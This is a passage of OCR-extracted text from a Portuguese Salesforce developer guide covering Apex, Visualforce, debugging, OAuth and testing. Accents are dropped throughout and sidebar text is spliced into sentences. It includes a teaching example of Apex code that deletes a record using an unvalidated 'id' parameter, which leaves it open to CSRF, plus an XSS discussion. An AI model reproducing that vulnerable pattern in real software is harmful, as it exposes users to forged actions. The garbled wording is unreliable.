434. o revertidos Nesse caso n o poss vel evitar totalmente as lacunas porque na mesma transa o alguns registros podem ser inseridos com sucesso enquanto outros s o revertidos CONSULTE TAMB M Abrir o Console do desenvolvedor Resultados do teste do Apex Detalhes dos resultados dos testes do Apex Resultados do teste do Apex Em Configura o insira Apex nacaixa Busca r pida selecione Execu o de teste do Apex EDICOES e clique em Exibir hist rico de teste para visualizar todos os resultados de teste da sua organiza o n o apenas testes que voc executou Os resultados dos testes s o mantidos por 30 dias ap s a Dispon vel em Salesforce execu o ser conclu da a menos que sejam descartados Classic e Lightning Para mostrar uma lista filtrada de itens selecione uma lista predefinida na lista suspensa Exibir Experience ou clique em Criar nova exibi o para definir seus pr prios modos de exibi o personalizados Para ae i Dispon vel em Enterprise editar ou excluir qualquer exibi o criada selecione a na lista suspensa Exibir e clique em Performance Unlimited Editar Developer e Database com Clique em Exibir para exibir mais detalhes sobre a execu o de um teste espec fico Editions O registro de depura o definido automaticamente para n veis e categorias de registro espec ficos que n o podem ser alterados na p gina Execu o de teste do Apex PERMISS ES DO USU RIO Cat
435. objeto como par metro de entrada e depois o utiliza em uma chamada SOQL Veja o seguinte snippet de c digo lt apex page controller myClass action init lt apex page gt public class myClass public void init Id id ApexPages currentPage getParameters get id Account obj select id Name FROM Account WHERE id id Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 102 delete obj return j Neste caso o desenvolvido sem saber contornou os controles anti CSRF ao desenvolver seu pr prio m todo de a o O par metro id foi lido e usado no c digo O token anti CSRF nunca lido ou validado A p gina da web do autor do ataque pode ter enviado o usu rio para esta p gina usando um ataque de CSRF e fornecido qualquer valor desejado para o par metro id N o existem defesas incorporadas para situa es como essa e os desenvolvedores devem ter cuidado ao escreverem p ginas cuja a o se baseie em um par metro fornecido pelo usu rio como a vari vel id no exemplo anterior Uma poss vel solu o pode ser inserir uma p gina de confirma o intermedi ria antes de executar a a o para garantir que o usu rio pretendia mesmo acessar a p gina Outras sugest es s o encurtar o timeout da sess o ociosa para a organiza o e educar os usu rios a fazerem logout da sess o ativa e n o usarem o navegador para acessarem outros sites enquan
436. od void testUnsubscribe2 Create a new email and envelope object Messaging InboundEmail email new Messaging InboundEmail Messaging InboundEnvelop nv new Messaging InboundEnvelope Create a new test lead and insert it in the test method Lead 1 new lead firstName john lastName smith Company Salesforce Email user acme com HasOptedOutOfEmail false insert 1 Create a new test contact and insert it in the test method Contact c new Contact firstName Jjohn lastName smith Email user acme com HasOptedOutOfEmail false insert c Test with a subject that does not contain unsubscribe email subject test env fromAddress user acme com Call the class and test it with the data in the test method unsubscribe unsubscribeObj new unsubscribe unsubscribeObj handleInboundEmail email env Objeto InboundEmail Um objeto InboundEmail tem os seguintes campos Nome Tipo Descri o binaryAttachments InboundEmail BinaryAttachment Uma lista de anexos bin rios recebida com o email se houver Exemplos de anexos bin rios incluem arquivos de imagem udio aplicativo e v deo ccAddresses Stringl Uma lista de endere os com c pia CC se houver Aprimorar o Salesforce com c digo Nome fromAddress fromName headers htmlBody htmlBodyIsTruncated inReplyTo messageld plainTextBody plainTextBo
437. ode realizar uma ampla variedade de ataques contra a v tima Isso varia entre simples a es como abrir e fechar janelas at ataques mais mal intencionados como roubo de dados ou cookies da sess o permitindo que o autor do ataque tenha acesso total sess o da v tima Para obter informa es sobre esse ataque em geral veja os seguintes artigos Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 99 e http www owasp org index php Cross Site Scripting e http www cgisecurity com xss fag html e http www owasp org index php Testing for Cross site scripting e http Awww google com search q cross site scripting Dentro da plataforma do Force com existem v rias defesas anti XSS em vigor Por exemplo o Salesforce implementou filtros que filtram os caracteres prejudiciais na maioria dos m todos de sa da Para o desenvolvedor que usa classes e m todos de sa da padr o as amea as de falhas de XSS foram amplamente mitigadas No entanto um desenvolvedor criativo ainda consegue encontrar formas de contornar com ou sem inten o os controles padr o As se es a seguir mostram onde a prote o existe e n o existe Prote o existente Todos os componentes padr o do Visualforce que come am com lt apex gt contam com filtros anti XSS Por exemplo o c digo a seguir normalmente vulner vel a um ataque XSS pois pega uma entrada fornecida pelo usu rio e a devolve diretament
438. ods Queries Workflow Callouts DML validations Triggers Pages e Debug Depurar uma perspectiva projetada para depura o de c digo que inclui os pain is Registro de Execu o Origem e Vari veis Aprimorar o Salesforce com c digo Guia do usu rio Depura o com o uso do console do desenvolvedor 269 Timestamp Event Details Count 13 13 39 084 EXECUTION ST List characters new List child little white dog 13 13 39 084 CODE UNIT ST EXTERNAL jexecute anonymous apex E 13 13 39 084 VARIABLE_SCO 1 characters LIST lt String gt true false 13 13 39 140 HEAP ALLOCATE EXTERNAL Bytes 7 13 13 39 140 HEAP ALLOCATE EXTERNAL Bytes 13 13 13 39 140 STATEMENT EX 1 13 13 39 140 STATEMENT EX 1 13 13 39 140 HEAP_ALLOCATE 1 Bytes 4 13 13 39 140 SYSTEM CONST 1 lt init gt 0 13 13 39 140 SYSTEM CONST 1 lt init gt 0 13 13 39 140 HEAP_ALLOCATE 1 Bytes 5 o 13 13 39 141 SYSTEM MEMO 1 LIST lt Sbing gt add Object 13 13 39 141 SYSTEM_METHO 1 LIST lt String gt add Object Variable Value 13 13 39 141 HEAP_ALLOCATE 1 Bytes 16 13 13 39 141 SYSTEM_METHO 1 LIST lt String gt add Object 13 13 39 141 SYSTEM METHO 1 LIST lt String gt add Object 13 13 39 141 HEAP_ALLOCATE 1 Bytes 17 13 13 39 141 SYSTEM METHO 1 LIST lt String gt add Object 13 13 39 141 SYSTEM METHO 1 LIST lt String gt add Object 13 13 39 141 HEAP ALL
439. ole do desenvolvedor Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Adicionar componentes do Lightning ao Lightning Experience Disponibilize os componentes do Lightning para os usu rios do Lightning Experience Nos componentes que deseja incluir no Lightning Experience adicione implements force appHostable na marca o aura component e salve suas altera es lt aura component implements force appHostable gt Use o Console do desenvolvedor para criar componentes do Lightning Visualforce 89 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel para uso em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer Criar componentes do Lightning usando a UI nas Enterprise Performance Unlimited Developer Editions ou em um sandbox PERMISSOES DO USUARIO Para criar guias de componentes do Lightning e Personalizar aplicativo Siga estas etapas para incluir seus componentes no Lightning Experience e disponibiliz los aos usu rios de sua organiza o 1 Crie uma guia personalizada para este componente Em Configura o insira Guias na caixa Busca r pida e selecione Guias o 9 Clique em Novo na lista relacionada Guias de componentes do Lightning Selecione o componente do Lightning que deseja disponibilizar para os usu rios on Insira um r tulo a ser exibido na guia
440. om da API de conjunto de ferramentas Editions Nota A defini o de sinalizadores de rastreamento de classe e de acionador n o leva gera o ou grava o de registros Os sinalizadores de rastreamento de classe e de acionador substituem outros n veis de registro incluindo os n veis de registro definidos pelos sinalizadores de rastreamento do usu rio mas n o fazem com que o registro ocorra Se o registro em log estiver ativado durante a execu o de classes ou acionadores os logs ser o gerados no momento da execu o 2 Se n o houver sinalizadores de rastreamento ativos os testes s ncronos ou ass ncronos do Apex ser o executados com os n veis de log padr o Os n veis de log padr o s o BD INFORMA ES Aprimorar o Salesforce com c digo Guia do usu rio Registros de depura o 274 APEX CODE DEPURAR APEX PROFILING INFORMA ES FLUXO DE TRABALHO INFORMA ES VALIDA O INFORMA ES CHAMADA INFORMA ES VISUALFORCE INFORMA ES SISTEMA DEPURAR 3 Se n o houver sinalizadores de rastreamento relevantes ativos e nenhum teste estiver em execu o o cabe alho da API definir os n veis de log Solicita es de API enviadas sem cabe alhos de depura o geram logs transit rios ou seja logs que n o s o salvos a menos que outra regra de log esteja em vigor 4 Se voc ativar os logs de sistema para um usu rio obter logs de depura o referentes as pr ximas 20 solic
441. om Developer Edition que tenha um prefixo de namespace Pagina ou componente do Visualforce Arquivo de recurso est tico texto XML JavaScript ou CSS Open Abrir Abra a janela Arquivo Abrir que permite procurar e abrir o c digo do aplicativo e os objetos de dados Open Resource Abrir recurso Abre a janela Recurso aberto que permite procurar arquivos pelo nome Open Log Abrir registro Abre o registro selecionado no Inspetor de registro Tamb m poss vel acessar registros na guia Logs Registros Open Raw Log Abrir registro original Abre o registro selecionado em texto simples Download Log Fazer download do log Salva uma c pia de texto do registro selecionado na sua m quina local Save Salvar Salva o item na guia ativa Save AII Salvar tudo Salva as altera es em todas as guias abertas no seu espa o de trabalho Use essa op o para salvar um conjunto de altera es dependentes Delete Excluir Exclui o item na guia ativa Voc pode excluir somente classes e acionadores do Apex p ginas do Visualforce e arquivos de recurso est tico Close Fechar Fecha a guia ativa Close All Fechar tudo Fecha todas as guias abertas no seu espa o de trabalho Se qualquer guia tiver altera es n o salvas ser necess rio salv las CONSULTE TAMB M Usando a janela Arquivo Abrir Editor de c digo fonte Inspetor de objeto Usando a janela Arquivo Abrir A janela File Arquivo gt Open
442. on rios a esse aplicativo conectado Quando um novo usu rio criado na sua organiza o e o perfil Funcion rios atribu do a ele o usu rio provisionado automaticamente no Google Apps Al m disso quando o usu rio desativado ou a atribui o do perfil muda o provisionamento automaticamente cancelado no Google Apps O Salesforce oferece um assistente para gui lo atrav s das configura es de provisionamento de usu rios para cada aplicativo conectado Al m disso voc pode executar relat rios para ver quem tem acesso a aplicativos de terceiros espec ficos com uma visualiza o centralizada de todas as contas de usu rios em todos os aplicativos conectados Solicita es de provisionamento de usu rios Depois que voc configura o provisionamento de usu rios o Salesforce gerencia as solicita es de atualiza es no sistema de terceiros O Salesforce envia solicita es de provisionamento de usu rios para o sistema de terceiros com base em eventos espec ficos na sua organiza o atrav s da UI ou por meio de chamadas de API A tabela a seguir mostra os eventos que acionam solicita es de provisionamento de usu rios Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 189 Compromisso Opera o Objeto Criar usu rio Criar Usu rio Atualizar usu rio para atributos Atualizar Usu rio selecionados Desativar usu rio Desativar Usu rio Ativar usu
443. onalizados nesse pacote a menos que os tipos tamb m estejam no pacote SOQL Os tipos de metadados personalizados s o compat veis com a seguinte sintaxe de consulta SOQL H SELECT fieldList FROM objectType USING SCOPE filterScope Aprimorar o Salesforce com c digo WHERE conditionExpression ASC DESC NULLS FIRST LAST ORDER BY field Guia do usu rio Integra o de aplicativos com o Salesforce 245 e fieldList pode incluir apenas campos que n o sejam de relacionamento e FROM pode incluir apenas um objeto e Voc n o pode usar COUNT com tipos de metadados personalizados e poss vel usar os operadores a seguir INeNOT IN SP ERA E S e LIKE incluindo curingas E Bi e N o pode usar ORD ER BY ASC e DI ESC com diversos campos Tipos de metadados personalizados protegidos Assinantes n o podem adicionar registros de metadados personalizados a tipos de metadados personalizados instalados que sejam protegidos Para permitir que assinantes criem registros de metadados personalizados definidos por um tipo de metadados personalizados o tipo deve ser p blico A API de metadados retorna defini es de entidades personalizadas protegidas mas n o registros de metadados personalizados nas organiza es assinantes Colocando em cache Os registros de metadados personalizados s o colocados em cache no n vel do ti
444. onectados 2 O usu rio deve sempre aprovar o acesso para esse fluxo de autentica o Ap s a aprova o do acesso o aplicativo recebe o callback do Salesforce O consumidor pode usar a chave de acesso que tem em m os para acessar os dados do Salesforce em nome do usu rio final e uma chave de atualiza o para obter uma nova chave de acesso se ela tornar se inv lida por qualquer motivo O fluxo de agentes do usu rio n o suporta publica es fora de banda Direcionar usu rio para o Salesforce para obter chave de acesso Para obter autoriza o do usu rio para acessar os dados do Salesforce em seu nome o cliente direciona o usu rio para o ponto final de autoriza o com os seguintes par metros e response type ovalorpodeser token ou id token do token como par metro de escopo openid e um par metro nonce referente a esse fluxo Se voc especifica token id token Salesforce retorna um token de ID na resposta Para obter mais informa es consulte Obtendo e verificando um token de ID na p gina 229 e client id chave do consumidor a partir da defini o do aplicativo conectado e uri de redire o URI para o qual redirecionar o usu rio ap s a aprova o Isso deve corresponder exatamente a um dos valores do campo URL de retorno na defini o do aplicativo conectado Esse valor deve ser codificado por URL e estado Qualquer estado que o consumidor queira refletido de volta ap s a aprova o durante
445. ontos de verifica o no c digo do Apex Para alternar entre o Editor de c digo fonte e um editor em tela inteira se estiver dispon vel pressione F11 Configurando as prefer ncias do Editor de c digo fonte poss vel escolher o tamanho da fonte e o tema de exibi o do Editor de c digo fonte Clique em Help Ajuda gt Preferences Prefer ncias para acessar o di logo Prefer ncias Preferences Name Editor Font Size Editor Theme Enable Apex Auto complete Enable Vf View State Inspector Prevent Logs on Load Value 20 blackboard 3024 day base16 light lesser dark paraiso dark 3024 night blackboard paraiso light the matrix ambiance b cobalt rubyblue tomorrow night eighties default midnight Selecione um Tema do editor para visualiz lo A janela Prefer ncias inclui op es de configura o adicionais com base nas permiss es e na implementa o Essas op es incluem ativar a conclus o do c digo na p gina 18 e a guia Registrospara impedir o carregamento dos registros na p gina 258 Clique em Save Salvar para atualizar suas configura es e fechar a janela Navegando at declara es de m todo e vari vel Voc pode navegar diretamente para a declara o de um m todo ou vari vel em vez de ter que rolar ou procurar por ela 1 Passe o mouse sobre o nome de um m todo ou vari vel Se o nome do m todo ou da vari vel estiver sublinhado poss vel navegar at sua declara
446. ontrols e Personalizar aplicativo Aprimorar o Salesforce com c digo Dicas de cria o de s controls O Importante As p ginas do Visualforce substituem s controls As organiza es que n o usaram s controls anteriormente n o podem cri los Os s controls existentes n o s o afetados e ainda podem ser editados Use as dicas a seguir ao criar s controls Ao criar um s control de URL n o selecione Mostrar cabe alho da se o na p gina de detalhes na se o de layout de p gina onde o s control ser colocado Essa op o em conjunto com se es recolh veis pode causar alguns problemas em determinados navegadores Use vari veis globais para acessar campos de mesclagem especiais para componentes como bot es links e s controls personalizados Por exemplo a vari vel global SRequest permite acessar par metros de consulta dentro de um snippet s control ou bot o personalizado Use o campo de mesclagem SOrganization UISkin nos control para recuperar o tema da interface do usu rio que a organiza o selecionou O valor Tema desse campo de mesclagem representa o tema Salesforce Classic e Tema representa o tema Salesforce S Controls usam os caracteres e usados anteriormente para delimitar campos de mesclagem em f rmulas para delimitar uma express o que pode incluir um ou mais campos de mesclagem fun es ou vari veis globais Ao sobrescrever uma a o use o argumento no override para evitar u
447. or Executando o c digo do apex an nimo Guia do usu rio Testar 290 Aprimorar o Salesforce com c digo Guia do usu rio Sobre testes de unidade do Apex 291 Sobre testes de unidade do Apex O teste fundamental para o sucesso do seu aplicativo principalmente se este for implantado nos EDI ES clientes Se voc confirmar que o aplicativo funciona conforme esperado e que n o h comportamentos inesperados seus clientes confiar o mais em voc Dispon vel em Salesforce Para facilitar o desenvolvimento de c digo robusto e livre de erros o Apex suporta a cria o e Classic execu o de testes de unidade Testes de unidade s o m todos de classe que verificam se uma determinada parte do c digo est funcionando corretamente Os m todos de teste da unidade n o levam argumentos n o confirmam dados para o banco de dados n o enviam emails e s o marcados com a palavra chave testMethod na defini o do m todo Dispon vel em Edi es Performance Unlimited Developer Enterprise e Database com Voc pode executar testes de unidade para Os pacotes gerenciados e Uma classe espec fica n o est o dispon veis em Database com e Um subconjunto de classes e Todos os testes de unidade em sua organiza o Todos os testes do Apex que s o iniciados na interface do usu rio do Salesforce incluindo o Console PERMISS ES DO do desenvolvedor s o executados de forma assincrona e em paralelo As classes de teste do A
448. or de c digo fonte As localiza es do ponto de verifica o persistem at que voc clique em Limpar ou feche o Console do desenvolvedor CONSULTE TAMB M Inspetor de pontos de verifica o Configurando pontos de verifica o no c digo do Apex Sobrepondo c digo do Apex e instru es SOQL Usando o Console do desenvolvedor Aprimorar o Salesforce com c digo Guia do usu rio Depura o com o uso do console do desenvolvedor 255 Configurando pontos de verifica o no c digo do Apex Use os pontos de verifica o do Console do desenvolvedor para depurar seus acionadores e classes do Apex N o poss vel configurar pontos de verifica o na marca o do Visualforce O Importante Para usar pontos de verifica o o N vel de registro do Apex deve ser configurado como Finer Mais exato ou Finest O mais exato Consulte Configura o de n veis de registro Para configurar um novo ponto de verifica o 1 2 3 4 Ab ra o acionador ou classe do Apex no Editor de c digo fonte Clique na margem esquerda do n mero da linha em que deseja configurar o ponto de verifica o At cinco pontos de verifica o podem ser ativados ao mesmo tempo Os resultados para um ponto de verifica o s o capturados somente uma vez n o importa quantas vezes a linha de c digo seja executada Por padr o eles s o capturados imediatamente antes da primeira vez em que a linha de c digo executada poss v
449. or de consulta Guia Registros Guia Pontos de verifica o Usando o Console do desenvolvedor PERMISS ES DO USU RIO EDI ES Para usar o console do desenvolvedor Exibir todos os dados Dispon vel em Salesforce n E A ae re Classic e Lightning ara executar an nimo no Apex ex do autor P P Experience Para usar a pesquisa de c digo e executar API ativada Dispon vel em Enterprise SOQL ou SOSL na guia de consulta Performance Unlimited Para salvar as altera es s classes de Apex do autor Developer e Database com Apex e acionadores Editions Para salvar as altera es nas p ginas do Personalizar aplicativo Visualforce e componentes Para salvar as altera es nos recursos do Personalizar aplicativo Lightning O que o Console do desenvolvedor O Console do desenvolvedor um ambiente de desenvolvimento integrado com uma cole o de ferramentas que pode ser usada para criar depurar e testar aplicativos em sua organiza o do Salesforce Para uma introdu o sobre a Ul do Console do desenvolvedor consulte Vis o geral da interface de usu rio do console do desenvolvedor Acesse developer salesforce com para obter as ltimas not cias e informa es sobre o desenvolvimento do Salesforce Como usar o Console do desenvolvedor O Console do desenvolvedor pode ajudar com muitas das suas tarefas de desenvolvimento Depura o e solu o de problemas O Console do desenvo
450. orce SProfile Name Dicas e Oscampos de mesclagem Profile est o dispon veis apenas em edi es que podem criar perfis personalizados e Use nomes de perfil para fazer refer ncia a perfis padr o nos campos de mesclagem SProfile Se voc fez refer ncia anteriormente ao valor interno para um perfil use a lista a seguir para determinar o nome a ser usado Nome de perfil padr o Profile Value Administrador de sistemas PT1 Usu rio padr o PT2 Somente leitura PT3 Gerente de solu es PT4 Usu rio do Marketing PTS Gerente do contrato PT6 Usu rio parceiro PT7 Usu rio de plataforma padr o PT8 Usu rio de aplicativo do Platform One PT9 padr o Usu rio do portal de clientes PT13 Gerente do portal de clientes PT14 e Seus valores de campo mesclado ficar o em branco se os atributos de perfil estiverem em branco Por exemplo o perfil Descri o n o obrigat rio e pode n o conter um valor e N o necess rio conceder permiss es ou direitos de acesso aos usu rios as informa es de perfil deles para serem usadas nesses campos mesclados Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 31 RecordType Descri o Um tipo de campo de mesclagem global a ser usado para fazer refer ncia ao tipo do registro atual Use Adicione SRecordType manualmente a seu s control Exemplos do Para apresentar o ID do tipo de registro atual use o seguinte Visualforce
451. orce com signature SSSbLO gBhmmyNUVN180DBDFYHzakxOMgqYtu thDPsc access token 00Dx0000000BV7z AR8AQP0j ITN80ESEsj 5EbaZTFGORNBaTlcyWk7T rqoDjoNIWQ2ME sTZzB fm0OE6zMHq6y8PIW4eWze9JksNEkWUl Cju m4 token type Bearer scope id api refresh token A seguir est um exemplo de resposta XML lt Oauth gt lt access token gt 00Dx0000000BV7z AR8AQP0j ITN80ESEsj 5EbaZTFGORNB aTlcyWk7TrqoDjONIWQ2ME sTZzB fm0OE6zMHq6y8PIW4eWze9JksNEkWUL Cju7m4 lt access token gt lt token type gt Bearer lt token type gt lt scope gt id api refresh token lt scope gt lt instance url gt https nal salesforce com lt instance url gt lt id gt https login salesforce com id 00Dx0000000BV7z 005x0000001209P lt id gt lt issued at gt 1278448101416 lt issued at gt lt signature gt CMJ41 CCaPQikj oOEwBig9H4wqhpuLSk4J2urAe fVg lt signature gt lt Oauth gt A seguir esta um exemplo de URL codificado access token 00Dx0000000BV7z 21AR8AQP0j ITN80ESEsj 5EbaZTFGORNBaT1lcyWk7TrqoDjoNIWQ2 ME sTZzB fmOE6zMHqg6y8PIW4eWze9JksNEkWUL Cju m4 Aprimorar o Salesforce com c digo amp token type Bearer amp scope id 20api 20refresh token amp instance url https 3A 2F 2Fnal salesforce com Guia do usu rio Integra o de aplicativos com o Salesforce 213 amp id https 3A 2FS2Flogin salesforce com 2Fid S2F00Dx0000000BV7z 2F005x0000001209P amp
452. orce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 84 Fluxos no Visualforce Incluir um fluxo a uma p gina do Visualforce Para personalizar a apar ncia de um fluxo ou aprimorar sua funcionalidade integre o a uma p gina EDICOES do Visualforce Se sua organiza o tiver fluxos ativados para sites e portais use a pagina do Visualforce para entregar o fluxo ao site portal ou comunidade do Force com Dispon vel em Salesforce Nota Os usu rios s podem executar fluxos que tenham uma vers o ativa Se o fluxo que Classic e Lightning voc incluiu n o tiver uma vers o ativa os usu rios ver o uma mensagem de erro Se o fluxo Experience incorporado incluir um elemento de subfluxo o fluxo referenciado e chamado pelo elemento Dispon vel em Edi es de subfluxo deve ter uma vers o ativa Enterprise Performance Unlimited e Developer Para adicionar um fluxo a uma p gina do Visualforce integre a usando o componente lt flow interview gt 1 Localize o nome exclusivo do fluxo PERMISS ES DO a Em Configura o insira Fluxos na caixa Busca r pida e selecione Fluxos USU RIO b Clique no nome do fluxo que deseja incluir Para criar editar e definir as configura es da vers o 2 Defina uma nova p gina do Visualforce ou abra uma que voc deseja editar para p ginas do Visualforce 3 Adicione o componente lt flow interview gt em algum lugar entre as marcas i ee e Personaliz
453. os Database com Aprimorar o Salesforce com c digo Permiss es personalizadas Permiss es personalizadas Use permiss es personalizadas para dar aos usu rios o acesso a processos ou aplicativos personalizados o Salesforce muitos recursos exigem verifica es de acesso que especificam quais usu rios podem cessar certas fun es As configura es de conjunto de permiss es e perfis incluem configura es e acesso integradas para v rias entidades como objetos campos guias e p ginas do Visualforce o entanto os conjuntos de permiss es e perfis n o incluem o acesso a alguns processos e aplicativos personalizados Por exemplo no caso de um aplicativo de gerenciamento de folgas poss vel que todos os usu rios precisem ter a capacidade de enviar solicita es de folga mas um conjunto menor de usu rios precisa aprovar essas solicita es poss vel usar permiss es personalizadas referentes a esses tipos de controles aov As permiss es personalizadas permitem definir verifica es de acesso que podem ser atribu das a usu rios por meio de conjuntos de permiss es ou perfis de forma semelhante atribui o de permiss es de usu rios e outras configura es de acesso Por exemplo poss vel definir verifica es de acesso no Apex que s colocam disposi o um bot o em uma p gina do Visualforce se o usu rio tiver a permiss o personalizada adequada poss vel consultar permiss es personalizadas
454. os de texto em anexos bin rios Opcionalmente configure este servi o de email para aceitar apenas mensagens de determinados remetentes criando uma lista de endere os de email e dom nios na caixa detexto Aceitar email de Separe v rias entradas com v rgulas Por exemplo jorge minhaempresa com yahoo com gmail com Se a caixa de texto Aceitar email de tiverum valor e o servi o de email receber uma mensagem de um endere o de email ou dominio n o listado o servi o de email realizar a a o especificada na configura o A o para remetente n o autorizado de resposta da falha Deixe esse campo em branco se quiser que o servi o de email receba mensagens de qualquer endere o Nota Voc tamb m pode autorizar endere os de email e dom nios no n vel do endere o de servi o de email Consulte Definindo endere os de servi o de email na p gina 105 Se o servi o de email e o endere o do servi o de email estiverem configurados para aceitar apenas mensagens de determinados remetentes o servi o de email processar somente as mensagens de remetentes listados nas caixas de texto Aceitar email de tanto no servi o de email quanto no endere o do servi o de email Marque a caixa de sele o Ativo se quiser ativar o servi o de email quando voc clicarem Salvar Defina as configura es de resposta da falha que determinam como o servi o de email dever responder se houver uma falha na tentativa de acesso a este servi o de
455. oss vel Classic e Lightning Use callouts para servi os na Web de terceiros somente quando for necess rio Experience Para acessar essa funcionalidade Dispon vel em Enterprise E T N ONE o Performance Unlimited 1 No ap icativo em Configura o Insira Classes do Apex na caixa Busca r pida e Developer e Database com selecione Classes do Apex Editions 2 Clique em Gerar de WSDL 3 Clique em Procurar para navegar para um documento WSDL em seu disco r gido local ou rede PERMISS ES DO ou digite o caminho completo Este documento WSDL a base para a classe do Apex que voc USU RIO est criando Para definir editar excluir Nota O documento WSDL que voc especificar pode conter um local de ponto final definir a seguranca definir SOAP que fa a refer ncia a uma porta de sa da as configura es da vers o Por motivos de seguran a o Salesforce restringe as portas de sa da que voc pode mostrar depend ncias if d eee executar testes de classes especificar a uma das seguintes do Apex e 80 esta porta aceita somente conex es HTTP e Apex do autor e 443 Essa porta aceita somente conex es HTTPS e 1024 66535 inclusive estas portas aceitam conex es HTTP ou HTTPS 4 Clique em Analisar WSDL para verificar o conte do do documento WSDL O aplicativo gera um nome de classe padr o para cada namespace no documento WSDL e informa quaisquer erros A an lise falha quando o WSDL possui tipos de esquema ou constru
456. para processar registros no Data Loader usando arquivos CSV O uso do Data Loader elimina a necessidade de desenvolver seu pr prio aplicativo cliente Quando usar a API de metadados Use a API de metadados para recuperar implementar criar atualizar ou excluir personaliza es para a sua organiza o O uso mais comum migrar as altera es de um sandbox ou organiza o de teste para seu ambiente de produ o A API de metadados destinada ao gerenciamento de personaliza es e cria o de ferramentas que podem gerenciar o modelo de metadados n o os pr prios dados A forma mais f cil de acessar a funcionalidade na API de metadados usar o Force com IDE ou a Force com Migration Tool Ambas as ferramentas s o constru das com base na API de metadados e usam as ferramentas padr o Eclipse e Ant respectivamente para simplificar o trabalho com a API de metadados e OForce com IDE baseado na plataforma Eclipse para programadores familiarizados com ambientes de desenvolvimento integrados Codifique compile teste e implante diretamente a partir do IDE e A Force com Migration Tool ideal se voc usa um script ou a linha de comando para mover metadados entre um diret rio local e uma organiza o do Salesforce Quando usar a API de Streaming Use a API de Streaming para receber notifica es de altera es em dados que correspondam a uma consulta SOQL que voc define API de streaming til quando voc quer que noti
457. permitidos Os intervalos de IP funcionam com aplicativos conectados ativados por OAuth n o aplicativos conectados ativados por SAML e especificam endere os IP v lidos para o aplicativo conectado Use as etapas a seguir para configurar o intervalo de IP permitido 1 Em Configura o insira Aplicativos nacaixa Busca r pida e selecione Aplicativos Selecione o nome de um aplicativo conectado na lista 2 3 Nase o do fluxo Intervalo de IP confi vel para o servidor da Web do OAuth clique em Novo 4 Insira um endere o IP v lido no campo Endere o IP de in cio e um endere o IP superior no campo Endere o IP de t rmino Pode se inserir v rias faixas descont nuas clicando em Novo para inserir cada faixa Voc pode permitir que usu rios espec ficos acessem o aplicativo conectado de fora do intervalo de IP confi vel para aplicativos conectados ativados por OAuth Por exemplo para permitir o acesso de alguns usu rios em tr nsito configure o aplicativo conectado para Relaxar restri es de IP com um segundo fator Quando um usu rio tentar utilizar o aplicativo conectado fora desse intervalo ele recebe uma solicita o para fornecer um segundo fator de autentica o como um c digo de token Depois de uma autentica o com um segundo fator o usu rio pode utilizar o aplicativo conectado de fora do Intervalo de IP confi vel Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Sal
458. pex enhum Perfil do Apex N vel registrado O MAIS CORRETO DE TODOS INFORMA ES e acima INFORMA ES e acima ERRO e acima ERRO e acima CORRETO e acima CORRETO e acima INFORMA ES e acima INFORMA ES e acima CORRETO e acima CORRETO e acima CORRETO e acima Aprimorar o Salesforce com c digo Nome do evento DML BEGIN DML EMAIL END _ QUEUE ENTE FATAL EXCEPT RING MANAGE UTION START ERROR TION THROWN UTION FINIS D PKG ED E E FLOW ACTIONCALL DETAIL FLOW ASSIGNMENT DETAIL BULK ELEMENT BEGIN ENT DETAII ERVIEW BEGIN ERVIEW END ERVIEW ERROR ELEMENT BEGIN Campos ou informa es registradas com o evento Guia do usu rio Registros de depura o 279 Categoria N vel registrada registrado N mero da linha opera o como Inserir BD Atualizar etc nome ou tipo de registro e n mero de linhas passadas na opera o DML mero da linha BD mero da linha C digo do Apex amespace do pacote C digo do Apex mero da linha tipo de exce o e mensagem C digo do Apex enhum C digo do Apex enhum C digo do Apex Tipo de exce o mensagem e rastreamento de pilha C digo do Ape
459. pex USUARIO s o colocadas na fila de trabalho do Apex para execu o O n mero m ximo de classes de teste que poss vel executar em um per odo de 24 horas maior que 500 ou 10 vezes o n mero de classes de teste na organiza o Para organiza es com sandbox e Developer Edition o limite Para definir editar excluir definir a seguran a definir as configura es da vers o mais alto e o maior de 500 ou 20 multiplicado pelo n mero de classes de teste na organiza o mostrar depend ncias e executar testes de classes Cobertura de c digo por teste de unidade do Apex g0 P e Apex do autor Para poder implantar o c digo ou compact lo para o AppExchange Force com a seguinte condi o deve ser verdadeira e Pelo menos 75 do seu c digo do Apex deve ser coberto por testes de unidade e todos esses testes devem ser conclu dos com xito Observe o seguinte Aoimplantaro Apex em uma organiza o de produ o cada teste de unidade no namespace de sua organiza o ser executado por padr o Chamadas para System debug n o s o contadas como parte da cobertura de c digo do Apex M todos e classes de teste n o s o contados como parte da cobertura de c digo do Apex Embora apenas 75 de seu c digo Apex seja coberto por testes seu foco n o deve ser no percentual de c digo coberto Em vez disso voc deve certificar se de que cada caso de uso de seu aplicativo est coberto incluind
460. pex code que executado de forma s ncrona emails de exce es subsequentes ser o suprimidos e apenas o primeiro email ser enviado Essa supress o de email evita lotar a caixa de entrada do desenvolvedor com emails sobre o mesmo erro Para Apex ass ncrono incluindo Apex em lote e m todos anotados com future emails para exce es duplicadas n o s o suprimidos Exce es n o tratadas na interface do usu rio Se um usu rio final se deparar com uma exce o ocorrida no Apex code durante o uso da interface Guia do usu rio Componentes do Lightning Apex Visualforce 54 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Performance Unlimited Developer Enterprise e Database com PERMISS ES DO USU RIO Para acessar a p gina Configura o de email de exce o do Apex e Exibir configura o Para escrever um Apex code e Apex do autor Para usar a API do conjunto de ferramentas e API ativada do usu rio padr o ser exibida uma mensagem de erro A mensagem de erro inclui texto semelhante notifica o mostrada aqui Merchandise Edit T New Merchandise Merchandise Edit Save Save amp New Cancel Error Invalid Data Review all error messages below to correct your data Trigger myMerchandiseTrigger line 3 column 1 Information Merchandise Name Owner TestUser Description White erasers Price 15
